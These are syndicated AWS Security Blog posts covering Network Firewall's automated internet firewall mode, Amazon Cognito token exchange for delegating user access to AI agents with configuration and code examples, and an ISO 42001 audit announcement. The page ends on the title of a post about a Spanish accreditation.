AWS Network Firewall introduces automated internet firewall mode (Preview)

Post Syndicated from Lawton Pittenger original https://aws.amazon.com/blogs/security/aws-network-firewall-introduces-automated-internet-firewall-mode-preview/

AWS Network Firewall now offers automated internet firewall mode (Preview). In this mode, Network Firewall applies your centrally defined rules to traffic at the internet gateway of each of your virtual private clouds (VPCs). It also performs built-in network address translation (NAT) for outbound-only connections. A subnet that reaches the internet needs only one route, directly to the internet gateway. You no longer need to deploy firewall endpoints and NAT gateways in each VPC and configure the routes between them and the subnets. If you’re new to internet traffic inspection, you can start with AWS managed rule groups for Network Firewall. AWS security experts maintain and update these rule groups to help protect your workloads against changing threats. You can deploy these managed rule groups centrally across your environment.

With automated internet firewall mode, you can:

  • Inspect traffic at the internet gateway – Each VPC gets its own firewall for inbound and outbound IPv4 and IPv6 traffic, with built-in NAT for outbound-only IPv4 connections.
  • Manage centrally, inspect in each VPC – You define policies in AWS Network Security Manager or start from an AWS managed template. Each VPC’s traffic passes its own firewall, so each VPC you add brings its own inspection capacity. The same central policy also works for VPCs with overlapping Classless Inter-Domain Routing (CIDR) ranges.
  • Extend coverage to new VPCs – You can create a scope that includes all existing and future VPCs, so your policy applies to new VPCs when teams create them.

In this post, we explain how automated internet firewall mode works and how it fits your existing architecture. We also walk through the steps to deploy it across your environment.

How automated internet firewall mode works

In automated internet firewall mode, Network Firewall applies your rules at the internet gateway of each VPC. Before this launch, inspecting a VPC’s internet traffic meant routing each subnet through a firewall endpoint. Resources that needed outbound-only connectivity also went through a NAT gateway. This mode helps simplify that model by moving inspection to each VPC’s internet gateway. Each subnet now has one route to the internet gateway, where the firewall inspects the traffic and performs built-in NAT (Figure 1).

Figure 1: Outbound traffic before and after automated internet firewall

Figure 1: Outbound traffic before and after automated internet firewall

Each VPC gets its own firewall, not a share of one. When you use VPC endpoint associations to protect multiple VPCs with one firewall, those VPCs share that firewall’s capacity in each Availability Zone. In automated internet firewall mode, each VPC’s firewall supports throughput of up to 100 Gbps in each Availability Zone (Service quotas). It also works when VPCs have overlapping CIDR ranges, because their traffic doesn’t meet in a shared inspection network where the addresses would conflict.

The firewall inspects inbound and outbound traffic. For outbound-only connectivity, the firewall first inspects the traffic and then performs NAT, so your rules and logs see each workload’s private IP address. Built-in NAT translates outbound IPv4 connections from resources without a public IP address, and IPv6 traffic isn’t translated. If your destinations accept only allowlisted source addresses, an Amazon VPC IP Address Manager (IPAM) policy lets you choose the NAT addresses that automated internet firewall mode uses (NAT for outbound traffic).

The firewall uses Network Firewall Next Generation firewall policies. You can start from AWSManagedTemplateIGWFirewallBaseline, an AWS managed template that AWS security experts maintain. You can then add AWS managed rule groups and your own rule groups.

Automated internet firewall mode only inspects traffic that crosses the internet gateway. For traffic between VPCs and to on-premises networks over AWS Direct Connect or AWS Site-to-Site VPN, we recommend a transit gateway-attached Network Firewall.

Subnet connectivity options

Before this launch, a public subnet had a direct route to the internet gateway, and its resources used public IP addresses, so they could connect out and accept inbound connections. A private subnet had no direct route, and its resources reached the internet through a NAT gateway. With automated internet firewall mode, a subnet that reaches the internet can route 0.0.0.0/0 directly to the internet gateway, so the route table no longer separates public from private. Instead, each subnet’s connectivity type decides how its resources reach the internet. You set it in the Network Security Manager policy, not on the subnet. Table 1 maps each type to the model you know.

Connectivity type Works like What happens
Flexible (recommended) A public and a private subnet in one A resource with a public IP address, such as an Elastic IP address, gets bidirectional access, as in a public subnet. A resource without one gets outbound-only access through built-in NAT, similar to a private subnet.
Bidirectional A public subnet Resources with a public IP address connect out and accept inbound connections. Resources without one can’t reach the internet.
Outbound-only A private IPv4 subnet behind a NAT gateway, or an IPv6 subnet behind an egress-only internet gateway Unsolicited inbound connections are dropped. Resources without a public IP address connect out through built-in NAT, and resources with one keep their own address.
Excluded A subnet without a firewall Traffic bypasses the firewall and built-in NAT.

The firewall inspects traffic in each type except excluded (Figure 2). Each policy sets one default connectivity type for all subnets in scope. You can override it for specific subnets based on tags or on Amazon Resource Name (ARN). When a subnet matches more than one override, the first one in the list applies.

Figure 2: Flexible, bidirectional, and outbound-only subnets are inspected. Excluded subnets aren’t.

Figure 2: Flexible, bidirectional, and outbound-only subnets are inspected. Excluded subnets aren’t.

Connectivity types also decide which inbound connections reach your resources. The firewall inspects inbound connections to resources with a public IP address in flexible and bidirectional subnets, such as the Network Load Balancer for a non-HTTP service in Figure 3. Figure 3 also shows the outbound path, where instances without a public IP address connect out through the firewall and then built-in NAT. For web applications and APIs, we still recommend AWS WAF on Amazon CloudFront in front of an Application Load Balancer. You can set that load balancer’s subnet to excluded so Network Firewall doesn’t inspect the same request again. Keep in mind that excluded applies in both directions, so any outbound traffic from that subnet also bypasses the firewall.

Figure 3: Inbound and outbound traffic showing inbound, outbound, and excluded connections

Figure 3: Inbound and outbound traffic showing inbound, outbound, and excluded connections

Managing automated internet firewall mode

You manage automated internet firewall mode in AWS Network Security Manager. With AWS Organizations, a central security team deploys policies from the Network Security Manager administrator account to the whole organization, to organizational units (OUs), or to specific accounts. Network Security Manager also supports a single-account model, where it applies policies only to that account’s VPCs. You can start from the Network Firewall console or the Network Security Manager console, but the firewall itself is read-only outside Network Security Manager.

Network Security Manager uses three components (Figure 4):

  • Policy – Combines rules and templates with the connectivity type, enforcement mode, logging, and priority. Rules are the building blocks. A traffic inspection rule decides how the firewall handles traffic, and a firewall configuration rule sets options such as the enforcement mode or logging. A template is an ordered, reusable group of rules, such as AWSManagedTemplateIGWFirewallBaseline, that you can share across policies.
  • Scope – Selects your organization, OUs, accounts, or VPCs.
  • Deployment – Binds a policy to a scope. Network Security Manager then creates and manages a firewall in each VPC in scope.
Figure 4: A deployment binds a policy to a scope, and Network Security Manager creates a firewall in each VPC in scope

Figure 4: A deployment binds a policy to a scope, and Network Security Manager creates a firewall in each VPC in scope

This model matters most when you manage many VPCs. Because Network Security Manager applies the policy at the internet gateway, the firewall is designed so that VPC owners and subnet owners without the proper privileges can’t bypass inspection by changing routes. Subnets set to excluded and Availability Zones where automated internet firewall mode isn’t supported aren’t inspected.

Many organizations want one security baseline everywhere, while some accounts, organizational units, or applications need rules in addition to the baseline. To do this, you create two policies, each deployed to its own scope. The organization policy holds a baseline template, and the Account A policy holds the same baseline template plus Account A’s rules (Figure 5). The template lets you maintain the baseline rules once and reuse them in both policies. Where policies overlap, the policy with the lower priority number applies in full, and the policies don’t merge. In Account A, the Account A policy (priority 100) wins over the organization policy (priority 1000), so it must include the baseline template. Its enforcement mode, logging, and connectivity type also replace the organization policy’s. To learn more, see How AWS Network Security Manager works.

Figure 5: The Account A policy, priority 100, takes priority in Account A. Other accounts get the organization policy, priority 1000.

Figure 5: The Account A policy, priority 100, takes priority in Account A. Other accounts get the organization policy, priority 1000.

Getting started

We recommend starting in monitor mode, especially in VPCs with existing workloads. In monitor mode, the firewall logs what your rules would do but doesn’t drop traffic because of them. After the logs show the results you expect, switch the policy to enforce. In this example, we create a policy in monitor mode in six steps.

  1. Start from the AWS Management Console for Network Firewall. On the Firewalls page, open the Internet firewalls tab and choose Create in AWS Network Security Manager. The Quick create and deploy page opens in the Network Security Manager console. Select Network Firewall automated internet firewall as the firewall type.

    Figure 6: Create a new internet firewall

    Figure 6: Create a new internet firewall

  2. Define protections. Choose Manage templates and add AWSManagedTemplateIGWFirewallBaseline. Under Enforcement mode, select Monitor, and choose destinations for alert logs and flow logs.

    Figure 7: Define protections and set destinations for logs

    Figure 7: Define protections and set destinations for logs

  3. Enter a name for the policy and check its Policy priority. Where policies overlap, the lower number takes priority. The new policy gets a priority that evaluates after your existing policies of the same firewall type, and you can change it later in the policy editor.

    Figure 8: Set the policy details

    Figure 8: Set the policy details

  4. Set the scope. For example, you can set the scope for Accounts and OUs to include the entire organization and the scope for VPCs to include all existing and future VPCs. To learn more about scopes, see How AWS Network Security Manager works.

    Figure 9: Set the scope

    Figure 9: Set the scope

  5. Choose the Subnet connectivity type. For example, select Flex (recommended).

    Figure 10: Choose the subnet connectivity type

    Figure 10: Choose the subnet connectivity type

  6. Review your settings and choose Create and deploy. Cross-account visibility lets Network Security Manager see resources in the accounts in the scope.

    Figure 11: Review and deploy

    Figure 11: Review and deploy

Network Security Manager then creates a firewall at the internet gateway of each VPC in scope. For the full steps, including the organization baseline with account-specific rules, see Getting started with automated internet firewall.

Migrating existing VPCs to automated internet firewall mode

When you deploy automated internet firewall mode to an existing VPC, you might not need to change routes on day one. With the flexible type, the firewall inspects existing resources and keeps the addresses they already use (Figure 12):

  • Instance with an Elastic IP address – The firewall inspects its traffic, and the instance keeps its Elastic IP address.
  • Instance behind a NAT gateway – The firewall inspects the traffic after the NAT gateway translates it and doesn’t translate it again. Your rules and logs see the NAT gateway’s private IP address as the source.
  • Instance with no public IP address in a subnet that routes to the internet gateway – The firewall inspects its traffic, and built-in NAT gives it outbound-only access, which it didn’t have before. To keep resources without a public IP address isolated from the internet, set the subnet’s connectivity type to bidirectional instead. Resources with a public IP address then keep bidirectional connectivity, and resources without one can’t reach the internet.
Figure 12: Day-one source addresses in an existing VPC with Flexible subnets

Figure 12: Day-one source addresses in an existing VPC with Flexible subnets

Later, at your own pace, you can retire each NAT gateway by routing its subnets directly to the internet gateway. Built-in NAT then takes over. The source address changes to one that automated internet firewall mode assigns or one from your IPAM policy pool, so update allow lists that name the NAT gateway’s address first. Your logs then show each workload’s private IP address. If you inspect inbound or outbound internet traffic today with Network Firewall endpoints, automated internet firewall mode can take over that inspection. After you confirm that your new policy covers the same rules, you can remove the endpoints and routes that you use for internet traffic. For each architecture, see Working with existing architectures.

Availability and pricing

Automated internet firewall mode (Preview) is available in all AWS commercial Regions. For pricing, see AWS Network Firewall pricing. During the preview, some features and instance types aren’t supported. For the list, see Automated internet firewall. Features, service quotas, and console labels can change during the preview. Your use of the preview is subject to the Betas and Previews section of the AWS Service Terms.

Conclusion

In this post, we showed you how automated internet firewall mode applies Network Firewall inspection and built-in NAT at the internet gateway of your VPCs. You define and control policies centrally in Network Security Manager. It is designed so that VPC owners without the proper privileges can’t route around it, and your policy applies to new VPCs in scope when teams create them. To learn more, see Automated internet firewall in the Network Firewall Developer Guide.

If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.


Lawton Pittenger

Lawton Pittenger

Lawton is a Worldwide Security Specialist Solutions Architect at AWS, based in New York City. He helps customers design and implement effective network security controls, and works with AWS service teams to improve security services based on customer feedback. Outside of work, he enjoys skateboarding, snowboarding, and spending time in nature.

Akshay Choudhry

Akshay Choudhry

Akshay is a Principal Product Manager in the Networking and Security Services Team at Amazon Web Services. He’s focused on making virtual private clouds more intuitive and secure for the millions of customers running their workloads on AWS. In his free time, he enjoys exploring the outdoors, trying out new restaurants, and spending time with friends and family.

Delegate user access to AI agents with Amazon Cognito token exchange

Post Syndicated from Edward Sun original https://aws.amazon.com/blogs/security/delegate-user-access-to-ai-agents-with-amazon-cognito-token-exchange/

Suppose you use a restaurant review app to check reviews, book tables, and email invitations to your friends. With OAuth 2.0, the app sends you to the authorization server that your email provider trusts, where you sign in and approve only the access the app requested, such as the contacts.read and messages.send scopes. The review app won’t sees your credentials. It only receives a short-lived access token limited to the scopes you approved, which it presents to your email provider’s API to read your contacts and send invitation emails on your behalf.

That works while the app calls the email API directly, but many requests take a second hop to call downstream services. When you book a table, the app calls its reservation service with your token to email details to your friends, which token should the reservation service use to call the email API? Forwarding the access token issued to the review app hides the reservation service because the email API thinks the app sent the request. Using the reservation service’s own token from an OAuth 2.0 client credentials grant loses user identity, because the email API knows which service called, but not for which user. Figure 1 shows this second hop.

Figure 1: The reservation service calling the email API for a signed-in user

Figure 1: The reservation service calling the email API for a signed-in user

OAuth 2.0 Token Exchange, defined in RFC 8693, handles this second hop. Instead of forwarding your access token, the reservation service goes back to the authorization server with two things: your access token, which shows what you consented for, and its own credentials, which show who it is. The authorization server returns a new token for the email API, called issued token, which identifies the user, can also name the reservation service, and carries the same scopes or fewer.

AI agents make this second hop more common and more important, for example when the review app adds an AI agent that reserves tables and invites friends for you. The agent picks its tools at run time, such as a Model Context Protocol (MCP) server that sends invitations, and those tools call APIs for you. With token exchange, each hop gets only the scopes it needs, and the email API can see which service acted for you.

In this post, we show you how to use the new OAuth token exchange feature in Amazon Cognito when services and AI agents call your APIs on behalf of users, and Cognito serves as the OAuth 2.0 authorization server. We explain the difference between impersonation and delegation, and show you examples of how the feature works with an MCP server and Amazon Bedrock AgentCore Identity.

How token exchange works in Amazon Cognito

Every token exchange starts with a subject token that represents the user. In Amazon Cognito, the subject token can be an access token or ID token that your user pool issued to the app where the user signed in. The calling service sends the subject token to Cognito, and Cognito returns a new token for that service to use at the downstream resource server.

Token exchange distinguishes two patterns, impersonation and delegation. The calling service chooses which pattern to use based on whether the downstream API needs to authorize the service that’s acting on behalf of the user:

  • Impersonation – The calling service doesn’t identify itself as the actor. The issued token represents the user. Its client_id claim identifies the app client that performed the exchange, but it doesn’t have an act (actor) claim to show a service is acting for the user.
  • Delegation – The calling service identifies itself as the actor by also sending an actor token. Amazon Cognito adds an act claim that names the calling service, so the resource server can see and log who authorized the action and who carried it out.

Impersonation fits when the calling service only relays the user’s request and makes no decisions of its own, such as a backend for frontend (BFF) that forwards requests from a web app to your APIs. It also fits where a downstream API authorizes the user alone and doesn’t need to know which service relayed the call.

For AI agents, delegation is the important pattern. If the agent used a token of its own, the record would show that an agent called the resource server, but not for whom. With impersonation, the record shows the user but not the agent acting for them. You need delegation to see both for proper authorization and audit trails.

Figure 2: Delegated access across two service hops

Figure 2: Delegated access across two service hops

Figure 2 shows the flow for delegated access between services:

  1. The user signs in to your app through Amazon Cognito.
  2. Cognito issues the user’s access token to the client application.
  3. The client calls the downstream service, such as an MCP server, with the user’s access token.
  4. The service calls the Cognito /oauth2/token endpoint and authenticates with its own app client. It sends the user’s access token as the subject token and names the resource server as the audience. For delegation, it also sends its own token as the actor token.
  5. Cognito validates the request and returns an issued token. The issued token still identifies the user in sub. For delegation, it also identifies the service in the act claim.
  6. The service calls the resource server, such as an email API, with the issued token.
  7. The resource server checks that the token’s aud claim names itself, then authorizes the request for the user and returns the user’s data to the service.
  8. The calling service returns the result to the client.

In addition to requesting a token exchange at the /oauth2/token endpoint on your user pool’s domain, you can call the GetDerivedToken API with an AWS SDK, which doesn’t require a user pool domain. Both accept the same subject token, actor token, audience and scopes, and return an issued token with the same claims.

Here’s an example issued token from a delegation token exchange. The token keeps user’s identity in sub and names the calling service in the act claim.

{
  "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_EXAMPLE",
  "sub": "c4b82478-5678-90ab-cdef-EXAMPLE11111",
  "username": "[email protected]",
  "client_id": "invitations-mcp-client-id",
  "version": 2,
  "token_use": "access",
  "scope": "email-api/messages.send",
  "aud": "email-api",
  "act": {
    "sub": "invitations-mcp-client-id",
    "client_id": "invitations-mcp-client-id",
    "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_EXAMPLE",
    "token_type": "urn:ietf:params:oauth:token-type:access_token"
  },
  "exp": 1735689600,
  "iat": 1735686000
}

The email API authorizes the user identified by sub, and act tells it which service is acting for that user. It can then decide whether it trusts that service, and its logs can show both the user and the service for each request. Accept a delegated token only when act.client_id reflects a service you trust, such as the invitations MCP server, and matches the token’s client_id meaning the trusted service requested the token itself.

Security controls during an exchange

Amazon Cognito checks every exchange before it issues a token. It validates the subject token’s signature and expiry, and refuses a token that has been revoked or that belongs to a disabled user in your user pool. If the request includes an audience, the issued token is bound to that resource server, and every requested scope must belong to it. The issued token carries only scopes that both the subject token and the app client allow, so an exchange can narrow your access but doesn’t add to it. It also doesn’t outlive the subject token, and the exchange doesn’t return a refresh token.

For the full list of checks, see Security model in Exchanging tokens for downstream services in the Amazon Cognito Developer Guide. Checks by Cognito don’t replace the resource server’s own: it should still verify the JWT tokens, including signature, issuer, expiry, audience and scopes, and for delegated requests, it should validate the act claim.

Your user pool might have a pre token generation AWS Lambda trigger, which can add or suppress custom claims and scopes in your user pool’s tokens. Amazon Cognito also invokes this trigger during token exchange, with the trigger source TokenGeneration_TokenExchange. However, Cognito doesn’t add any scopes that the trigger returns for an exchange, so the calling service can’t gain more permissions than the user’s token already has. You can still use the trigger to remove scopes from the issued token. For more information, see Customize the exchanged token with a Lambda trigger.

Enable token exchange in your Amazon Cognito user pool

Token exchange is an OAuth 2.0 grant, and you can enable it for each application client as an authentication flow in your Amazon Cognito user pool. Check the prerequisites in the Amazon Cognito Developer Guide.

To enable token exchange for an app client:

  1. Open the AWS Management Console for Amazon Cognito, and choose your Cognito user pool.
  2. In the navigation pane, under Applications section, choose App clients, and then choose your app client.
  3. In App client information, choose Edit.
    Figure 3: Cognito token exchange app client

    Figure 3: Cognito token exchange app client

  4. On the Edit app client information page, under Authentication flows, go to Exchange OAuth 2 token for delegation and impersonation and select the following:
    1. For delegation, select ALLOW_TOKEN_EXCHANGE_DELEGATION.
    2. For impersonation, select ALLOW_TOKEN_EXCHANGE_IMPERSONATION.
    Figure 4: Amazon Cognito token exchange authentication flows

    Figure 4: Amazon Cognito token exchange authentication flows

  5. Choose Save changes.

Example token exchange use cases for agentic workload delegation

Now that you’ve enabled token exchange, we show you two examples of how it works in an agentic workload. Both continue the review app story: its AI agent sends invitations for you by calling the email API, and the email API needs to know who you are and which component acted for you.

The two examples differ in where the exchange happens. Amazon Cognito fills the act claim from the actor token, so act names whichever component sends its own actor token in the exchange. In Example 1, a shared intermediary—such as an MCP server or an AI gateway—performs the exchange for every agent that calls it, so act names the intermediary. In Example 2, the agent requests the exchange itself, so act names the agent.

Example 1: A shared intermediary as the actor

In this example, the intermediary sits in front of the email API. We show it two ways: an MCP server you build that performs the exchange in its own code, and an AI gateway in Amazon Bedrock AgentCore Gateway that performs it through configuration.

Using your own MCP server:

The MCP authorization specification doesn’t allow an MCP server to pass along the token it received from the MCP client. To call the email API for you, the invitations MCP server needs a token of its own. It uses its own app client in your user pool to perform a delegation token exchange.

Figure 5 shows how the invitations MCP server sends invites for you.

Figure 5: The invitations MCP server sending invites for a signed-in user

Figure 5: The invitations MCP server sending invites for a signed-in user

  1. The user signs in to the review app through Amazon Cognito.
  2. The review app’s AI agent calls the send_invites tool on the invitations MCP server with the user’s access token.
    {
      "sub": "c4b82478-...",
      "username": "[email protected]",
      "client_id": "<review app client ID>",
      "scope": "openid invitations-mcp/tools email-api/contacts.read email-api/messages.send",
      "token_use": "access",
      "iss": "https://cognito-idp.us-east-1.amazonaws.com/<user-pool-id>"
    }

  3. The MCP server authorizes the inbound request by checking the token’s client_id and the invitations-mcp/tools scope, then gets its own actor token with its client ID and secret in an OAuth 2.0 client credentials grant flow.
  4. The MCP server sends the user’s token as subject token and its actor token to the Cognito /oauth2/token endpoint in a delegation token exchange. It requests only email-api/messages.send, because sending invites doesn’t require reading your contacts.
    curl -X POST "https://<domain>.auth.us-east-1.amazoncognito.com/oauth2/token" \
      -u "$MCP_SERVER_CLIENT_ID:$MCP_SERVER_CLIENT_SECRET" \
      -d grant_type=urn:ietf:params:oauth:grant-type:token-exchange \
      --data-urlencode "subject_token=$YOUR_TOKEN" \
      -d subject_token_type=urn:ietf:params:oauth:token-type:access_token \
      --data-urlencode "actor_token=$ACTOR_TOKEN" \
      -d actor_token_type=urn:ietf:params:oauth:token-type:access_token \
      -d audience=email-api \
      -d scope=email-api/messages.send

  5. Cognito validates both tokens and returns the issued token, while keeping the user in sub claim and adding the MCP server’s app client to act claim.
    {
      "sub": "c4b82478-...",
      "username": "[email protected]",
      "client_id": "<MCP server app client ID>",
      "aud": "email-api",
      "scope": "email-api/messages.send",
      "act": {
        "sub": "<MCP server app client ID>",
        "client_id": "<MCP server app client ID>",
        "iss": "https://cognito-idp.us-east-1.amazonaws.com/<user-pool-id>",
        "token_type": "urn:ietf:params:oauth:token-type:access_token"
      },
      "token_use": "access"
    }

  6. The MCP server calls the email API with the issued token. The email API checks aud=email-api and the messages.send scope, and it confirms that act.client_id matches client_id and names an MCP server it trusts. It then sends the invites from your account and records that the invitations MCP server sent them for you.

To set up the MCP server:

  1. In Amazon Cognito user pool, register the email API (email-api) and the MCP server (invitations-mcp) as resource servers in your user pool, with the scopes used.
  2. Create an app client with a client secret for the MCP server in your user pool. Select ALLOW_TOKEN_EXCHANGE_DELEGATION in authentication flows, allow the client credentials grant so the MCP server can get its actor token, and allow the email-api/messages.send scope that it requests in the exchange.
  3. Have the review app request email-api/messages.send when you sign in, along with invitations-mcp/tools. The exchange can remove scopes from your token, but it can’t add any.

Other AI agents can also sign you in through Amazon Cognito and call the invitations MCP server. They can register with your user pool through dynamic client registration (DCR), or identify themselves with a client ID metadata document (CIMD). Token exchange works the same way for these clients. They send your access token to the MCP server, and the MCP server performs the exchange with its own app client, so the issued token names you in sub and the MCP server in act.

Using AgentCore Gateway:

If you don’t want to write the exchange in your MCP server, AgentCore Gateway can perform it for you. Amazon Bedrock AgentCore Identity can perform the same token exchange on behalf of AgentCore Gateway, so the gateway doesn’t store the OAuth client secret or build the request.

Here, AgentCore Gateway replaces the invitations MCP server. It exposes the email API as an MCP tool through an OpenAPI target, and the review app’s AI agent calls that tool with your access token.

Figure 6 shows how AgentCore Gateway sends invites for you.

Figure 6: AgentCore Gateway sending invites through AgentCore Identity

Figure 6: AgentCore Gateway sending invites through AgentCore Identity

  1. The agent calls the AgentCore Gateway invite tool with user’s access token. The AgentCore Gateway inbound JWT authorizer validates the token against your user pool and accepts only tokens issued to the review app.
  2. AgentCore Gateway passes user’s access token to AgentCore Identity and asks for a token for the email API target.
  3. AgentCore Identity uses the AgentCore Gateway app client in a client credentials grant to get an actor token.
  4. AgentCore Identity sends your token and the actor token in a delegation token exchange, adding the subject_token_type and audience values from the target’s custom parameters.
  5. Amazon Cognito validates the request and returns the issued token, with the user in sub, and the AgentCore Gateway app client in act.
  6. AgentCore Identity passes the issued token to AgentCore Gateway.
  7. AgentCore Gateway calls the email API with the issued token, and the email API applies the same checks as for the preceding MCP server setup.

To set up AgentCore Gateway:

  1. In your Amazon Cognito user pool, create an app client for AgentCore Gateway in the same way as for the MCP server.
  2. In AgentCore Identity, create an AgentCore Identity credential provider for the AgentCore Gateway app client. A credential provider stores what AgentCore Identity needs to request tokens from Amazon Cognito: your user pool’s discovery URL and the app client’s ID and secret. Use the CustomOauth2 provider type, and enable delegation in its customOauth2ProviderConfig settings:
    {
      "oauthDiscovery": { "discoveryUrl": "https://cognito-idp.us-east-1.amazonaws.com/<user-pool-id>/.well-known/openid-configuration" },
      "clientId": "<Gateway app client ID>",
      "clientSecret": "<client secret>",
      "clientAuthenticationMethod": "CLIENT_SECRET_BASIC",
      "onBehalfOfTokenExchangeConfig": {
        "grantType": "TOKEN_EXCHANGE",
        "tokenExchangeGrantTypeConfig": { "actorTokenContent": "M2M" }
      }
    }

  3. In AgentCore Gateway, configure the AgentCore Gateway inbound JWT authorizer with your user pool’s discovery URL, and set allowedClients to the review app’s client ID.
  4. In the AgentCore Gateway target’s outbound authorization, reference the credential provider and add subject_token_type and audience as custom parameters. Because your token is an access token, set subject_token_type to urn:ietf:params:oauth:token-type:access_token.
    {
      "providerArn": "arn:aws:bedrock-agentcore:us-east-1:<account-id>:token-vault/default/oauth2credentialprovider/cognito",
      "scopes": ["email-api/messages.send"],
      "grantType": "TOKEN_EXCHANGE",
      "customParameters": {
        "subject_token_type": "urn:ietf:params:oauth:token-type:access_token",
        "audience": "email-api"
      }
    }

AgentCore Gateway handles the exchange through configuration, so you don’t need to write agent or interceptor code for it. For more information, see Set up outbound authorization for your gateway.

With either your own MCP server or an AI gateway, act names the intermediary rather than the agent that called it. Every agent behind it appears as the same app client. This design still protects the email API. It accepts only tokens with aud=email-api, and your original access token has no such audience, so an agent can’t bypass the intermediary by forwarding your token. Each call that reaches the email API carries a token with only the scope it needs. The agents don’t hold downstream credentials or exchange logic, and the email API trusts one intermediary instead of every agent. If the email API needs to tell agents apart, perform the exchange in the agent, as Example 2 shows.

Example 2: The agent as the actor on AgentCore Runtime

If the review app’s AI agent runs on Amazon Bedrock AgentCore Runtime, the agent can request the exchange itself through AgentCore Identity and call the email API directly. The issued token then names the agent in act, so the email API knows which agent sent the invites.

Figure 7 shows how the agent sends invites for you.

Figure 7: The AI agent on AgentCore Runtime sending invites through AgentCore Identity

Figure 7: The AI agent on AgentCore Runtime sending invites through AgentCore Identity

  1. The review app invokes the agent on AgentCore Runtime with the user’s access token.
  2. Runtime validates your token with its inbound JWT authorizer, exchanges it for a workload access token from AgentCore Identity, and passes that token to the agent. A workload access token is an opaque token that proves which agent is calling. It carries the user’s access token, which AgentCore Identity uses as the subject token in step 4.
  3. The agent asks AgentCore Identity for a token for the email API by calling GetResourceOauth2Token with the workload access token.
  4. AgentCore Identity gets an actor token with the agent’s app client, then sends user’s token and the actor token to Cognito in a delegation token exchange.
  5. Amazon Cognito returns the issued token, with user in sub and the agent’s app client in act, and AgentCore Identity passes it to the agent.
  6. The agent calls the email API with the issued token. The email API applies the same checks as in Example 1, and confirms that act.client_id names an agent it trusts.

The issued token has the same shape as in Example 1, but client_id and act name the agent’s app client.

To set up the agent:

  1. In your Amazon Cognito user pool, create an app client for the agent in your user pool and select ALLOW_TOKEN_EXCHANGE_DELEGATION for it. To tell agents apart in act claim, give each agent its own app client and credential provider.
  2. In AgentCore Identity, create a credential provider for the agent’s app client in the same way as for AgentCore Gateway.
  3. In AgentCore Runtime, configure the inbound JWT authorizer on AgentCore Runtime to accept your user pool’s tokens, with allowedClients set to the review app’s client ID.
  4. In the agent’s code, request the issued token with the AgentCore SDK:
    from bedrock_agentcore.identity.auth import requires_access_token
    
    @requires_access_token(
        provider_name="<Agent name>",
        scopes=["email-api/messages.send"],
        audiences=["email-api"],
        auth_flow="ON_BEHALF_OF_TOKEN_EXCHANGE",
        custom_parameters={
            "subject_token_type": "urn:ietf:params:oauth:token-type:access_token"
        },
    )
    async def send_invites(friends: list[str], *, access_token: str):
        # Call the email API with access_token
        ...

The decorator makes the GetResourceOauth2Token call in step 3 of Figure 7 and passes the issued token to your function as access_token.

For more information, see On-behalf-of token exchange with AgentCore Identity.

Conclusion

Think back to the agent at the start of this post. The agent had to book a table and send invitations for you, and forwarding the user’s original access token would have hidden which service acted for you and given it more access than the job needed. With Amazon Cognito token exchange, each hop gets its own scoped-down token, bound to the resource server it calls and limited to the scopes it needs. Each issued token also expires no later than your own token and doesn’t come with a refresh token, so no service can keep access after your token expires.

For AI agents, delegation adds a second identity to the token. The act claim names the service doing the work, so a downstream API can choose which agents it trusts. Your audit records can then show both the person who authorized a request and the agent that made it.

You can try this on a new or existing Amazon Cognito user pool on the Essentials or Plus plan. Enable ALLOW_TOKEN_EXCHANGE_DELEGATION for an app client, register the downstream API as a resource server, and call GetDerivedToken or the token endpoint.

If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.


Edward Sun

Edward Sun

Edward is a Senior Security Specialist Solutions Architect focused on identity and access management. He loves helping customers throughout their cloud transformation journey with architecture design, security best practices, migration, and cost optimizations. Outside of work, Edward enjoys hiking, golfing, and cheering for his alma mater, the Georgia Bulldogs.

Owen Hawkins

Owen is a Principal Solutions Architect at Amazon Web Services, working with independent software vendors in the UK. Building on more than 20 years in information security and digital banking, he now spends his time on agent identity and on helping engineering organizations improve their software development lifecycle with AI-driven approaches.

Varun Sharma

Varun is a Senior AWS Cloud Security Engineer who wears his security cape proudly. With a knack for unravelling the mysteries of Amazon Cognito and IAM, Varun is a go-to subject matter expert for these services. When he’s not busy securing the cloud, you’ll find him in the world of security penetration testing. And when the pixels are at rest, Varun switches gears to capture the beauty of nature through the lens of his camera.

AWS completed its second ISO/IEC 42001:2023 surveillance audit

Post Syndicated from Basit Janjua original https://aws.amazon.com/blogs/security/aws-completed-its-second-iso-iec-420012023-surveillance-audit/

In November 2024, Amazon Web Services (AWS) was the first major cloud service provider to announce the ISO/IEC 42001 accredited certification for AI services, covering Amazon Bedrock, Amazon Q Business, Amazon Textract, and Amazon Transcribe.

In November 2026, AWS successfully completed its second surveillance audit for ISO 42001:2023, Artificial Intelligence Management System (AIMS), with no findings and added AWS DevOps Agent as a new service now covered under its ISO 42001:2023 certification program.

This demonstrates the continuous commitment by AWS to responsible AI practices. With this independent validation, our customers can gain assurances on our commitment to responsible AI that enables customers to build and operate AI applications responsibly using AWS services.

For a full list of AWS services that are certified under ISO and CSA STAR, see the AWS ISO and CSA STAR Certified page. Customers can also access the certifications through the AWS Management Console for AWS Artifact.

If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.


Basit Janjua

Basit Janjua

Basit is a Senior Security Industry Specialist at AWS. He leads the AWS assurance delivery strategy for security assurance audits and engagements across the globe. Basit has nearly 20 years of experience in information security engineering and assurance. He holds a Bachelor’s degree in Computer Science and a Master’s degree in Telecommunications, along with professional certifications including CISSP and CCSP.

Shalini Mishra

Shalini Mishra

Shalini is a Compliance Program Manager at AWS. She has over 5 years of experience leading end-to-end compliance programs across ISO, SOC, and cloud security frameworks, with deep expertise in third-party risk management and enterprise governance, driving measurable improvements in security posture and audit readiness. Shalini holds a Master of Science degree in Information Systems, CRISC and ISO 27001 lead auditor certification.

AWS achieves Spain’s national Limited Distribution (Difusión Limitada) and NATO Restricted accreditation in the AWS Europe (Spain) Region

Post Syndicated from Borja Larrumbide original https://aws.amazon.com/blogs/security/aws-achieves-spains-national-limited-distribution-difusion-limitada-and-nato-restricted-accreditation-in-the-aws-europe-spain-region/

Spanish version »

